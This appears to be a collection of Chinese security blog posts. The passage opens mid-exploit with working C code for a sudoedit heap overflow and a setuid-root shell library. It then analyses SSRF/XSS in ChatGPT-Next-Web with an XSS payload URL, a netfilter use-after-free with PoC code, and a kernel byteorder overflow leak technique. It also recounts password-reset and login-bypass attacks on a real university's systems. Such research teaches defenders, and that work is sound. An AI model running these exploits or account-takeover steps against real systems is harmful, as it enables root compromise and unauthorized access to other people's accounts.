#define __LC_MESSAGES 5
#define __LC_ALL 6
#define __LC_PAPER 7
#define __LC_NAME 8
#define __LC_ADDRESS 9
#define __LC_TELEPHONE 10
#define __LC_MEASUREMENT 11
#define __LC_IDENTIFICATION 12
char * envName[13]={"LC_CTYPE","LC_NUMERIC","LC_TIME","LC_COLLATE","LC_MONETARY","LC_MESSAGES","LC_ALL","LC_PAPER","LC_NAME","LC_ADDRESS","LC_TELEPHONE","LC_MEASUREMENT","LC_IDENTIFICATION"};
int main()
{
char *argv[] = {"sudoedit","-s","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\",NULL};// malloc(size) size = arg1_len + 1
char *env[] = {"XXX/test","LC_IDENTIFICATION=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_MEASUREMENT=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_TELEPHONE=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
execve("/usr/local/bin/sudoedit",argv,env);
}
3 溢出利用
当前exp把XXX/test写到了0x555555623b07
此时的service_user在0x5555556241b0,name的偏移是0x30
start = 0x555555623b07
end = 0x5555556241b0+0x30
n = end-start
print(n)
for i in range(n):
print('"\\\\"',end=',')
前面知道以反斜杠作为单独的参数,能够写入\x00,由于这里需要把library字段覆盖为0,所以通过上述代码生成相应数量的反斜杠,并填在XXX/test前,将XXX/test填入name的同时将library填为0。
共1753个反斜杠
exp
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<math.h>
#define __LC_CTYPE 0
#define __LC_NUMERIC 1
#define __LC_TIME 2
#define __LC_COLLATE 3
#define __LC_MONETARY 4
#define __LC_MESSAGES 5
#define __LC_ALL 6
#define __LC_PAPER 7
#define __LC_NAME 8
#define __LC_ADDRESS 9
#define __LC_TELEPHONE 10
#define __LC_MEASUREMENT 11
#define __LC_IDENTIFICATION 12
char * envName[13]={"LC_CTYPE","LC_NUMERIC","LC_TIME","LC_COLLATE","LC_MONETARY","LC_MESSAGES","LC_ALL","LC_PAPER","LC_NAME","LC_ADDRESS","LC_TELEPHONE","LC_MEASUREMENT","LC_IDENTIFICATION"};
int main()
{
char *argv[] = {"sudoedit","-s","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\",NULL};// malloc(size) size = arg1_len + 1
char *env[] = {"\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","
execve("/usr/local/bin/sudoedit",argv,env);
}
覆盖结果如上
拼接完成后会执行
/* Construct shared object name. */
__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
"libnss_"),
ni->name),
".so"),
__nss_shlib_revision);
ni->library->lib_handle = __libc_dlopen (shlib_name);
if (ni->library->lib_handle == NULL)
{
/* Failed to load the library. */
ni->library->lib_handle = (void *) -1l;
__set_errno (saved_errno);
}
通过__libc_dlopen打开文件
4 提权收工
最后编译后门test.so.2,并放入libnss_XXX文件夹
这里借用https://cloud.tencent.com/developer/article/1826931中的代码
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define EXECVE_SHELL_PATH "/bin/sh"
static void __attribute__ ((constructor)) pop_shell(void);
char *n[] = {NULL};
void pop_shell(void) {
printf("[+] executed!\n");
setresuid(0, 0, 0);
setresgid(0, 0, 0);
if(getuid() == 0) {
puts("[+] we are root!");
} else {
puts("[-] something went wrong!");
exit(0);
}
execve(EXECVE_SHELL_PATH, n, n);
}gcc -fPIC -shared test.c -o libnss_XXX/test.so.2
chmod 777 libnss_XXX/test.so.2
提权效果
总结
这个老洞新探,还是挺有意思的, 从源码分析到动态调试,整个过程对程序调试的能力有很大的锻炼。在这个洞的利用中,思路是比较清晰的,但在堆排布那里,由于中间会有很多其他的堆块操作是我们不可控,就会存在较大困难,要么通过逆向分析梳理所有的堆块操作然后手动构造,要么就是通过fuzz。前者费时费力,而且存在很多问题,后者需要对fuzz进行一定的学习。在盲目手动构造的过程中,好不容易在service_user之前留下了坑,但还是遇到了几种情况,一是在没有加溢出的时候的service_user结构体的地址和加了溢出字符后的不一样,二是在根本走不到nss_load_library就崩溃了,三是修改了最近的一个
总的来说,这个洞还有很多可以学习的地方,后面学学fuzz后再来试试这个洞。
ChatGPT-Next-Web漏洞利用分析(CVE-2023-49785)
1. 漏洞介绍
日常网上冲浪,突然粗看以为是有关Chat-GPT的CVE披露出来了,但是仔细一看原来是ChatGPT-Next-Web的漏洞。漏洞描述大致如下:(如果有自己搭建了还没更新的速速修复升级防止被人利用,2.11.3已经出来了)
NextChat,也称为 ChatGPT-Next-Web,是与 ChatGPT 一起使用的跨平台聊天用户界面。 2.11.2 及之前的版本容易受到服务器端请求伪造和跨站点脚本攻击的影响。2024年3月,互联网上披露CVE-2023-49785,攻击者可在无需登陆的情况下构造恶意请求造成SSRF,造成敏感信息泄漏等。
2. 漏洞分析
定位到漏洞代码:app/api/cors/[...path]/route.ts:
也就是大致如下内容:
import { NextRequest, NextResponse } from "next/server";
async function handle(
req: NextRequest,
{ params }: { params: { path: string[] } },
) {
if (req.method === "OPTIONS") {
return NextResponse.json({ body: "OK" }, { status: 200 });
}
const [protocol, ...subpath] = params.path;
const targetUrl = `${protocol}://${subpath.join("/")}`;
const method = req.headers.get("method") ?? undefined;
const shouldNotHaveBody = ["get", "head"].includes(
method?.toLowerCase() ?? "",
);
const fetchOptions: RequestInit = {
headers: {
authorization: req.headers.get("authorization") ?? "",
},
body: shouldNotHaveBody ? null : req.body,
method,
// @ts-ignore
duplex: "half",
};
const fetchResult = await fetch(targetUrl, fetchOptions);
console.log("[Any Proxy]", targetUrl, {
status: fetchResult.status,
statusText: fetchResult.statusText,
});
return fetchResult;
}
在这段代码中,这里没有做任何的安全防护。params.path 是通过请求参数传入的,这意味着用户可以控制请求的路径部分。这个路径部分会被直接拼接到一个新的 URL 中,并在后续的代码中被用于发起请求,以绕过访问控制、访问内部系统或执行其他攻击。
举个例子,当你访问 /api/cors/https/baidu.com 时,请求将被路由到这段代码中。在这里,protocol 将被设置为 https,subpath 将被设置为 ['baidu.com']。然后,这两部分将被拼接成 https://baidu.com,作为目标 URL。接下来,根据代码的逻辑,将会使用 fetch 发起一个对 https://baidu.com 的请求。这个请求的方法和请求体等信息将根据原始请求中的信息进行配置,然后将响应返回给客户端。
我们验证一下,果然存在。
至于披露着所说的反射型XSS,则完全是因为这里是用的fetch发包,fetch方法也支持 data 协议,且对后续的参数没有过滤限制导致的,所以我们通过参数拼接如下即可实现:
/api/cors/data:text%2fhtml;base64,PHNjcmlwdD5hbGVydCgiQ1ZFLTIwMjMtNDk3ODUiKTwvc2NyaXB0Pg==%23
3. 总结
没想到一个64.5k star 的项目之前居然对SSRF一点防护都没有做。
/api/cors 端点作为一个开放代理的设计,允许未经身份验证的用户通过它发送任意的 HTTP 请求。这个端点似乎是为了支持将客户端聊天数据保存到 WebDAV 服务器而添加的。
我查看了最新的源代码:
具体的官方修复思路如下:
移除开放代理端点:最终修复方案中,移除了原始的开放代理端点/api/cors。
替换为特定用途的端点:取而代之的是添加了两个新的端点/api/upstash和/api/webdav,这些端点具有特定的用途,分别用于与 Upstash 和 WebDAV 服务进行集成。这种替换的方式限制了端点的功能范围,并提供了更专门化的功能,有助于减少系统的安全风险。
增加安全验证和限制:
/api/upstash
限制目标URL:修复代码首先通过检查请求参数中的endpoint来限制目标URL。它要求目标URL必须是以.upstash.io结尾的有效URL,这样就限制了请求只能发送到特定的Upstash服务。
限制请求方法:修复代码还对请求中的操作类型进行了限制。它只允许get和set两种操作类型的请求,如果请求的操作类型不是这两种之一,则会返回403 Forbidden响应。
/api/webdav
请求方法限制: 修复代码只允许特定的HTTP请求方法,包括MKCOL、GET和PUT。对于其他不允许的请求方法,如POST等,会返回403 Forbidden响应。
目标路径验证: 修复代码对于不同的请求方法,会对目标路径进行不同的验证:
对于MKCOL请求,只允许请求目标路径为指定的folder,如果请求的目标路径不是以指定的folder结尾,则返回403 Forbidden响应。
对于GET请求,只允许请求目标路径为指定的fileName,如果请求的目标路径不是以指定的fileName结尾,则返回403 Forbidden响应。
对于PUT请求,同样只允许请求目标路径为指定的fileName,如果请求的目标路径不是以指定的fileName结尾,则返回403 Forbidden响应。
Nftables漏洞原理分析(CVE-2022-32250)
前言
在nftales中存在着集合(sets),用于存储唯一值的集合。sets 提供了高效地检查一个元素是否存在于集合中的机制,它可以用于各种网络过滤和转发规则。
而CVE-2022-32250漏洞则是由于nftables在处理set时存在uaf的漏洞。
环境搭建
ubuntu20 + QEMU-4.2.1 + Linux-5.15
.config文件
CONFIG_NF_TABLES=y
CONFIG_NETFILTER_NETLINK=y
CONFIG_E1000=y
CONFIG_E1000E=y
CONFIG_USER_NS=y,开启命名空间
开启KASAN:make menuconfig --> Kernel hacking -->Memory Debugging --> KASAN
在ubuntu20直接安装的libnftnl版本太低,因此需要去https://www.netfilter.org/projects/libnftnl/index.html中下载
./configure --prefix=/usr && make
sudo make install
漏洞验证
poc:https://seclists.org/oss-sec/2022/q2/159
在运行poc时,KASAN检测出存在uaf漏洞
漏洞原理
从KASAN给出的信息可知,该漏洞与set有关,因此从set的创建到使用进行源码分析。
在nf_tables_newset内首先需要校验集合名、所属的表、集合键值的长度以及集合的ID是否被设置,若这些条件不具备则直接返回。
File: linux-5.15\net\netfilter\nf_tables_api.c
4205: static int nf_tables_newset(struct sk_buff *skb, const struct nfnl_info *info,
4206: const struct nlattr * const nla[])
4207: {
...
//判断创建set的必备条件是否具备
4227: if (nla[NFTA_SET_TABLE] == NULL ||
4228: nla[NFTA_SET_NAME] == NULL ||
4229: nla[NFTA_SET_KEY_LEN] == NULL ||
4230: nla[NFTA_SET_ID] == NULL)
4231: return -EINVAL;
...
集合通过kvzalloc函数开辟空间
File: linux-5.15\net\netfilter\nf_tables_api.c
...
4369: set = kvzalloc(alloc_size, GFP_KERNEL);
4370: if (!set)
4371: return -ENOMEM;
...
在成功创建集合后,就会进行初始化的过程,有一个变量需要重点关注,即set->bindings。
File: linux-5.15\net\netfilter\nf_tables_api.c
...
//对集合做初始化
4390: INIT_LIST_HEAD(&set->bindings);
4391: INIT_LIST_HEAD(&set->catchall_list);
4392: set->table = table;
4393: write_pnet(&set->net, net);
4394: set->ops = ops;
4395: set->ktype = ktype;
4396: set->klen = desc.klen;
4397: set->dtype = dtype;
4398: set->objtype = objtype;
4399: set->dlen = desc.dlen;
4400: set->flags = flags;
4401: set->size = desc.size;
4402: set->policy = policy;
4403: set->udlen = udlen;
4404: set->udata = udata;
4405: set->timeout = timeout;
4406: set->gc_int = gc_int;
...
当初始化完毕之后,会去判断创建集合时,该集合是否有需要创建的表达式。
File: linux-5.15\net\netfilter\nf_tables_api.c
...
//判断是否有表达式需要创建
4416: if (nla[NFTA_SET_EXPR]) {
4417: expr = nft_set_elem_expr_alloc(&ctx, set, nla[NFTA_SET_EXPR]); //表达式的创建
4418: if (IS_ERR(expr)) {
4419: err = PTR_ERR(expr);
4420: goto err_set_expr_alloc;
4421: }
4422: set->exprs[0] = expr;
4423: set->num_exprs++;
...
在代码[1]处会对表达式进行初始化,紧接着在代码[2]处会对表达式的标志位进行校验,当表达式的标志位不具备NFT_EXPR_STATEFUL属性,那么就会跳转到[3]中进行销毁表达式的处理,紧接着返回错误。这里似乎会存在问题,因为代表[1]与[2]是先创建表达式再检验,就会导致任意的表达式被创建。
File: linux-5.15\net\netfilter\nf_tables_api.c
5309: struct nft_expr *nft_set_elem_expr_alloc(const struct nft_ctx *ctx,
5310: const struct nft_set *set,
5311: const struct nlattr *attr)
5312: {
5313: struct nft_expr *expr;
5314: int err;
5315:
5316: expr = nft_expr_init(ctx, attr); --->[1]
5317: if (IS_ERR(expr))
5318: return expr;
5319:
5320: err = -EOPNOTSUPP;
5321: if (!(expr->ops->type->flags & NFT_EXPR_STATEFUL)) --->[2]
5322: goto err_set_elem_expr;
5323:
...
5334: err_set_elem_expr:
5335: nft_expr_destroy(ctx, expr); --->[3]
5336: return ERR_PTR(err);
5337: }
回顾KASAN的报告,发现该漏洞与表达式nft_lookup有关,因此接下来关注一下lookup表达式初始化的过程。
lookup表达式的结构体如下,可以看到在lookup结构体里存在着binding变量,是上面set会初始化的一个变量。
struct nft_lookup {
struct nft_set *set; //集合
u8 sreg; //源寄存器
u8 dreg; //目的寄存器
bool invert;
struct nft_set_binding binding;
};
nft_set_bing结构体实则是维护了一个双链表。
struct nft_set_binding {
struct list_head list;
const struct nft_chain *chain;
u32 flags;
};
nft_lookup_init函数负责初始化lookup表达式,可以看到需要set与源寄存器都存在的情况下才能够完成创建。
File: linux-5.15\net\netfilter\nft_lookup.c
095: static int nft_lookup_init(const struct nft_ctx *ctx,
096: const struct nft_expr *expr,
097: const struct nlattr * const tb[])
098: {
...
//检测set与源寄存器的值
105: if (tb[NFTA_LOOKUP_SET] == NULL ||
106: tb[NFTA_LOOKUP_SREG] == NULL)
107: return -EINVAL;
...
紧接着检索需要搜索的set。
File: linux-5.15\net\netfilter\nft_lookup.c
...
109: set = nft_set_lookup_global(ctx->net, ctx->table, tb[NFTA_LOOKUP_SET],
110: tb[NFTA_LOOKUP_SET_ID], genmask);
111: if (IS_ERR(set))
112: return PTR_ERR(set);
...
最后在完成了set的搜索后,就会进行一个绑定操作,会将表达式的binging接入的set的binding。
File: linux-5.15\net\netfilter\nft_lookup.c
...
148: err = nf_tables_bind_set(ctx, set, &priv->binding);
149: if (err < 0)
150: return err;
...
首先在绑定之前会校验链表是否是匿名并且非空。
File: linux-5.15\net\netfilter\nf_tables_api.c
4606: int nf_tables_bind_set(const struct nft_ctx *ctx, struct nft_set *set,
4607: struct nft_set_binding *binding)
4608: {
...
4615: if (!list_empty(&set->bindings) && nft_set_is_anonymous(set))
4616: return -EBUSY;
...
在通过上面的检测后,就会将当前表达式的加入到set中,
File: linux-5.15\net\netfilter\nf_tables_api.c
...
4643: list_add_tail_rcu(&binding->list, &set->bindings);
...
综上所述,bing的作用实则是维护相同set下的不同的表达式。具体流程如下。
在set创建时,会初始化bindings指向自己本身。
紧接着若有lookup表达式创建,并绑定上述的set时,因此通过set的bingdings,可以检索在当前set上的所有expr。
在上面说过创建表达式的过程中会检测表达式的标志位是否为NFT_EXPR_STATEFUL,如[2]所示
5321: if (!(expr->ops->type->flags & NFT_EXPR_STATEFUL)) --->[2]
5322: goto err_set_elem_expr;
在初始化lookup表达式时,是不会给flags设置值的,因此默认值即为0,因此在创建set的同时创建lookup表达式,lookup表达式的类型是默认为0,是无法绕过检测的。
struct nft_expr_type nft_lookup_type __read_mostly = {
.name = "lookup",
.ops = &nft_lookup_ops,
.policy = nft_lookup_policy,
.maxattr = NFTA_LOOKUP_MAX,
.owner = THIS_MODULE,
};
那么就会进入销毁表达式[3]
5334: err_set_elem_expr:
5335: nft_expr_destroy(ctx, expr); --->[3]
5336: return ERR_PTR(err);
nft_expr_destory函数内除了是否表达式外还会调用nf_tables_expr_destroy函数
File: linux-5.15\net\netfilter\nf_tables_api.c
2823: void nft_expr_destroy(const struct nft_ctx *ctx, struct nft_expr *expr)
2824: {
2825: nf_tables_expr_destroy(ctx, expr);
2826: kfree(expr);
2827: }
在nf_tables_exor_destroy函数会调用表达式的destroy操作
File: linux-5.15\net\netfilter\nf_tables_api.c
2761: static void nf_tables_expr_destroy(const struct nft_ctx *ctx,
2762: struct nft_expr *expr)
2763: {
2764: const struct nft_expr_type *type = expr->ops->type;
2765:
2766: if (expr->ops->destroy)
2767: expr->ops->destroy(ctx, expr); //表达式的删除操作
2768: module_put(type->owner);
2769: }
nft_lookup_destroy函数内部调用了nf_tables_destroy_set函数
File: linux-5.15\net\netfilter\nft_lookup.c
173: static void nft_lookup_destroy(const struct nft_ctx *ctx,
174: const struct nft_expr *expr)
175: {
176: struct nft_lookup *priv = nft_expr_priv(expr);
177:
178: nf_tables_destroy_set(ctx, priv->set);
179: }
在nf_tables_destroy_set函数内部中有一个简单的判断,若不成立那么实际上nf_tables_destroy_set不会做任何操作。那么就会造成一个漏洞,若我们创建的表达式lookup已经被绑定在set上,因此list_empty(&set->bindings为0,那么就会导致destroy操作不会执行任何操作。就会将lookup表达式残留在set->bingdings中。
File: linux-5.15\net\netfilter\nf_tables_api.c
4683: void nf_tables_destroy_set(const struct nft_ctx *ctx, struct nft_set *set)
4684: {
4685: if (list_empty(&set->bindings) && nft_set_is_anonymous(set)) //判断`set->bingings是否为空,以及`set`是否匿名
4686: nft_set_destroy(ctx, set);
4687: }
由于lookup->destory不会执行任何操作,就会导致lookup表达式仍然残留在set->bingdings上,但是由于表达式的标志位不能通过校验,随后该表达式就会被释放。
POC分析
首先创建一个名为set_stable的set,为后续创建lookup表达式做准备。
set_name = "set_stable";
nftnl_set_set_str(set_stable, NFTNL_SET_TABLE, table_name);
nftnl_set_set_str(set_stable, NFTNL_SET_NAME, set_name);
nftnl_set_set_u32(set_stable, NFTNL_SET_KEY_LEN, 1);
nftnl_set_set_u32(set_stable, NFTNL_SET_FAMILY, family);
nftnl_set_set_u32(set_stable, NFTNL_SET_ID, set_id++);
紧接着创建名为set_trigger的set,并同时将标志位设置为NFT_SET_EXPR,那么就能在创建set的同时创建表达式,创建的表达式为lookup表达式,并且搜索的set的名为set_stable,这里需要注意的是,第一个创建的set是为了后续的lookup表达式提供搜索的set,而第二次的set是为了创建set的同时创建lookup表达式,因此第二个set的作用仅仅是为了创建lookup表达式。
set_name = "set_trigger";
nftnl_set_set_str(set_trigger, NFTNL_SET_TABLE, table_name);
nftnl_set_set_str(set_trigger, NFTNL_SET_NAME, set_name);
nftnl_set_set_u32(set_trigger, NFTNL_SET_FLAGS, NFT_SET_EXPR);
nftnl_set_set_u32(set_trigger, NFTNL_SET_KEY_LEN, 1);
nftnl_set_set_u32(set_trigger, NFTNL_SET_FAMILY, family);
nftnl_set_set_u32(set_trigger, NFTNL_SET_ID, set_id);
exprs[exprid] = nftnl_expr_alloc("lookup");
nftnl_expr_set_str(exprs[exprid], NFTNL_EXPR_LOOKUP_SET, "set_stable");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1);
// nest the expression into the set
nftnl_set_add_expr(set_trigger, exprs[exprid]);
最后就是触发漏洞,第三次的set同样的也仅仅是为了创建lookup表达式,由于此时名为set_stable的set->bingdings还存在着被释放掉的lookup表达式的指针,因此在第三次创建的时候就会将新创建的lookup表达式链接到上述已经被释放的lookup表达式中,从而导致的uaf漏洞。
set_name = "set_uaf";
nftnl_set_set_str(set_uaf, NFTNL_SET_TABLE, table_name);
nftnl_set_set_str(set_uaf, NFTNL_SET_NAME, set_name);
nftnl_set_set_u32(set_uaf, NFTNL_SET_FLAGS, NFT_SET_EXPR);
nftnl_set_set_u32(set_uaf, NFTNL_SET_KEY_LEN, 1);
nftnl_set_set_u32(set_uaf, NFTNL_SET_FAMILY, family);
nftnl_set_set_u32(set_uaf, NFTNL_SET_ID, set_id);
exprs[exprid] = nftnl_expr_alloc("lookup");
nftnl_expr_set_str(exprs[exprid], NFTNL_EXPR_LOOKUP_SET, "set_stable");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1);
记一次北京某大学逻辑漏洞挖掘
0x01 信息收集
个人觉得教育src的漏洞挖掘就不需要找真实IP了,我们直接进入正题,收集某大学的子域名,可以用oneforall,这里给大家推荐一个在线查询子域名的网站:https://www.virustotal.com/ 收集到的子域名还是蛮多的,主要是子域名直接就可以复制到txt文件,方便后续域名探针。这里查询到700多个子域名。
子域名探针,我用的是Finger,网上有相应文章介绍安装,不再赘述,直接拿去跑,探针存活的站点
0x02 资产漏洞挖掘
我们需要对存活的站点进行查看,最严谨的做法是一一查看,找寻其中的漏洞,同时这样也最消磨我们这种小白的耐心,这里直接看Finger扫描输出文件里面的title,看是否带着 “系统”、“平台”、“登录”等字眼,这些站点是最好出漏洞的地方,因为他们往往存在登录框,可测的东西就多了。
最终锁定两个系统站点
0x03 任意账号密码重置
国际学生在线申请系统:https://***..edu.cn/user/login?configId=&sign=
有注册功能点就注册,没有就网上查询是否有默认密码进入,这里很幸运,有注册功能点,还不需要管理员审核,直接注册两个账号
账号1:typ123/Typ123456.
账号2:hhh123/Hhh123456.
登录typ123这个账号,进入系统,查找功能点,发现修改密码处,不需要原密码,感觉有洞可挖,直接BP抓包
BP请求响应包部分代码如下:
token=Mjg5NjQ3&newPassword=Typ654321.&confirmPassword=Typ654321.
token值进行base64解码,结果为:289647
登录hhh123账号,记录它的token值,有看没有什么规律
token=Mjg5NjQ2&newPassword=Hhh654321.&confirmPassword=Hhh654321.
解码为:289646
对比发现token值是按注册顺序逐一增大的
这里尝试将typ123的token值改为hhh123的,测试发现,成功修改hhh123账号的密码,一个逻辑漏洞到手
0x04 任意用户登录
汉字全息资源应用系统:https://***.bnu.edu.cn/#/
这里同样注册两个账号
账号1:hhh123/hhh123456
账号2:typ123/typ123456
登录typ123账号,测试内部功能点,都测了一下,没有测出所以然,突然我想起之前看到的文章,抓登录请求返回包,说干就干,果然,有不一样的地方
{"code":200,"desc":"登陆成功!","result":"{\"token\":\"69565637941600f094864d0fcb4adbdd\",\"username\":\"typ123\",\"check\":\"0\",\"mail\":\"3215545898@qq.com\"}"}
这里我试着改一改参数,看登录有没有区别,试了一下,修改username值,就可以登录其他账号,直接将username值typ123改为hhh123
code":200,"desc":"登陆成功!","result":"{\"token\":\"69565637941600f094864d0fcb4adbdd\",\"username\":\"hhh123\",\"check\":\"0\",\"mail\":\"3215545898@qq.com\"}"}
成功,直接登录
又一个逻辑漏洞到手
0x05 总结
逻辑漏洞挖掘主打一个BP抓包,看请求包和请求返回包,分析包的代码,看有没有可以利用的参数,更改参数,不断尝试,去测试所有功能点,就会有意想不到的结果。
Netfilter漏洞提权利用(CVE-2023-35001)
前言
Netfilter是一个用于Linux操作系统的网络数据包过滤框架,它提供了一种灵活的方式来管理网络数据包的流动。Netfilter允许系统管理员和开发人员控制数据包在Linux内核中的处理方式,以实现网络安全、网络地址转换(Network Address Translation,NAT)、数据包过滤等功能。
漏洞成因
在netfilter中存在这nft_byteorder_eval函数,该函数的作用是将寄存器中的数据以主机序或网络序存储。具体代码如下,若采用的操作是NFT_BYTEORDER_NTOH则是将数据从主机序转化为网络序,而NFT_BYTEORDER_HTON则是从网络序转换为主机序。具体转换多少个字节则是用priv->size指定的,在该操作下可以转换二、四、八字节。该漏洞也是由于在对两字节数据进行大小端序转存时出现了错误所导致的。
可以看到代码【1】中使用了联合体存储了源地址和目的地址,联合体的变量分别是u32与u16分别代表的是四字节与两字节的空间大小。然后在代码【2】与【3】处源地址是直接取出u16的变量存储到目的地址的u16变量中。
乍一看似乎很符合常理,因为在处理双字节的时候,联合体中的变量就以u16存储,若处理四字节就转化为u32存储,但是这里存在个问题,在C语言中,联合体的存储空间是以最大空间为标准,换句话说无论联合体取出的变量是u16还是u32,联合体的大小都是占用四个字节的,而不会出现双字节的情况,因此在对s与d两个联合体进行遍历时,会以四字节为单位找到下一个位置。但是在计算长度时是以双字节进行计算的,因此就会导致拷贝时发生溢出。
File: linux-5.19\net\netfilter\nft_byteorder.c
26: void nft_byteorder_eval(const struct nft_expr *expr,
27: struct nft_regs *regs,
28: const struct nft_pktinfo *pkt)
29: {
...
33: 【1】union { u32 u32; u16 u16; } *s, *d; //使用联合体存储源地址与目的地址
...
39: switch (priv->size) {
...
72: case 2:
73: switch (priv->op) {
74: case NFT_BYTEORDER_NTOH:
75: for (i = 0; i < priv->len / 2; i++)
76: 【2】d[i].u16 = ntohs((__force __be16)s[i].u16);//将源地址的数据拷贝到目的地址的低16位中
77: break;
78: case NFT_BYTEORDER_HTON:
79: for (i = 0; i < priv->len / 2; i++)
80: 【3】d[i].u16 = (__force __u16)htons(s[i].u16);
81: break;
82: }
83: break;
84: }
85: }
举个例子,我们自定义一个联合体数组dest,分别向下标0、1以及2进行赋值。
union {short a;long b;} dst[10];
int main()
{
dst[0].a = 0x1122;
dst[1].a = 0x3344;
dst[2].a = 0x5566;
return 0;
}
按照设想的情况,在使用双字节变量进行遍历的时候会以双字节为单位进行遍历,但是实际的情况如下图。可以发现即使每次赋值都是对双字节的变量进行赋值,但是再遍历的时候还是按照联合体中最大的存储空间(四字节)进行遍历的。
因此漏洞的成因如下,因此在使用nft_byteorder函数转换双字节的大小端序时溢出。
模块地址泄露
在nft_byteorder_eval函数内部,溢出的地址是在寄存器下方。因此可以通过控制寄存器的下标值选择需要泄露的地址。
在此需要观察通过nft_byteorder_eval函数可以溢出的范围,priv->len是可以人为控制的,只要满足reg * 4 + priv->len <= 0x50即可,reg代表寄存器的下标值,由于下标为0-4是属于状态值,因此不能通用,我们的reg的值需要从4开始计算起, 那0x50 - 0x10 = 0x40就是我们priv->len能设置最大的值,(0x40 / 2) * 4 = 0x80,因此(0xaf8 ~ 0xaf8 + 0x80)范围内都是可以访问到的。但是现在存在一个问题,虽然我们可以越界访问,但是每次只能获取四字节中的低两个字节。
...
75: for (i = 0; i < priv->len / 2; i++)
76: 【2】d[i].u16 = ntohs((__force __be16)s[i].u16);//将源地址的数据拷贝到目的地址的低16位中
...
将下列值传参给nft_byteorder_eval函数
/*
dst:18
src:8
priv->op:NFT_BYTEORDER_HTON
priv->len:24
priv->size:2
*/
rule_add_byteorder(r, 18, 8, NFT_BYTEORDER_HTON, 24, 2);
泄露的值如下,可以发现高两个字节的值是无法泄露的,因为在nft_byteorder_eval中,每次只拷贝了u16的变量。因此每次泄露只能获取低两字节的值。因此需要寻找其他方法进行地址的泄露。
nf_trace_fill_rule_info函数用于跟踪数据包,并且会将rule->handle的值放进数据包中回传给用户。
想要正常执行nf_trace_fill_rule_info函数需要绕过条件
rule不能为空,并且rule->is_last需要为0,即当前rule不是最后一个
info->type不能是NFT_TRACETYPE_RETURN以及info->verdict->code不能NFT_CONTINUE
/*函数递归
nft_do_chain
->
nft_trace_packet
->
__nft_trace_packet
->
nft_trace_notify
->
nf_trace_fill_rule_info
*/
File: linux-5.19\net\netfilter\nf_tables_trace.c
126: static int nf_trace_fill_rule_info(struct sk_buff *nlskb,
127: const struct nft_traceinfo *info)
128: {
129: if (!info->rule || info->rule->is_last)
130: return 0;
131:
132: /* a continue verdict with ->type == RETURN means that this is
133: * an implicit return (end of chain reached).
134: *
135: * Since no rule matched, the ->rule pointer is invalid.
136: */
137: if (info->type == NFT_TRACETYPE_RETURN &&
138: info->verdict->code == NFT_CONTINUE)
139: return 0;
140:
141: return nla_put_be64(nlskb, NFTA_TRACE_RULE_HANDLE,
142: cpu_to_be64(info->rule->handle),
143: NFTA_TRACE_PAD);
144: }
因此想要通过nf_trace_fill_rule_info函数获取数据的第一步是伪造rule。
在regs变量的下方存在jumpstack变量
结构体nft_jumpstack的构成如下,由chain、rule、last_rule组成,并且该结构体变量在regs下方,并且通过byteorder操作可以访问到jumpstack结构体,那么利用byteorder操作篡改rule。
struct nft_jumpstack {
const struct nft_chain *chain;
const struct nft_rule_dp *rule;
const struct nft_rule_dp *last_rule;
};
接下来看一下nft_rule_dp结构体,可以发现is_last是调用nf_trace_fill_rule_info函数的条件,handle是泄露的值。
struct nft_rule_dp {
u64 is_last:1,
dlen:12,
handle:42; /* for tracing */
unsigned char data[]
__attribute__((aligned(__alignof__(struct nft_expr))));
};
在进入nf_trace_fill_rule_info函数内部前需要经历规则与表达式的遍历。
File: linux-5.19\net\netfilter\nf_tables_core.c
255: for (; rule < last_rule; rule = nft_rule_next(rule)) { //遍历rule
256: nft_rule_dp_for_each_expr(expr, last, rule) { //遍历expr
257: if (expr->ops == &nft_cmp_fast_ops)
258: nft_cmp_fast_eval(expr, ®s);
259: else if (expr->ops == &nft_cmp16_fast_ops)
260: nft_cmp16_fast_eval(expr, ®s);
261: else if (expr->ops == &nft_bitwise_fast_ops)
262: nft_bitwise_fast_eval(expr, ®s);
263: else if (expr->ops != &nft_payload_fast_ops ||
264: !nft_payload_fast_eval(expr, ®s, pkt))
265: expr_call_ops_eval(expr, ®s, pkt); //执行expr->ops
266:
267: if (regs.verdict.code != NFT_CONTINUE)
268: break;
269: }
270:
271: switch (regs.verdict.code) {
272: case NFT_BREAK:
273: regs.verdict.code = NFT_CONTINUE;
274: nft_trace_copy_nftrace(&info);
275: continue;
276: case NFT_CONTINUE:
277: nft_trace_packet(&info, chain, rule,
278: NFT_TRACETYPE_RULE); //跟踪数据包
279: continue;
280: }
281: break;
282:
遍历规则的宏定义如下,若是rule->dlen没有进行改写,那么会根据rule->dlen找到下一个rule,但是当前的rule是伪造的,因此会导致在取出expr会报错。倘若将rule->dlen修改为0,则下个rule的位置就是当前rule + 8。
由于不定长数组unsigned char data[],在sizeof操作中的值为0,因此sizeof(*rule)的值为8。此时将last_rule改写成rule + 8就可以直接跳出循环。
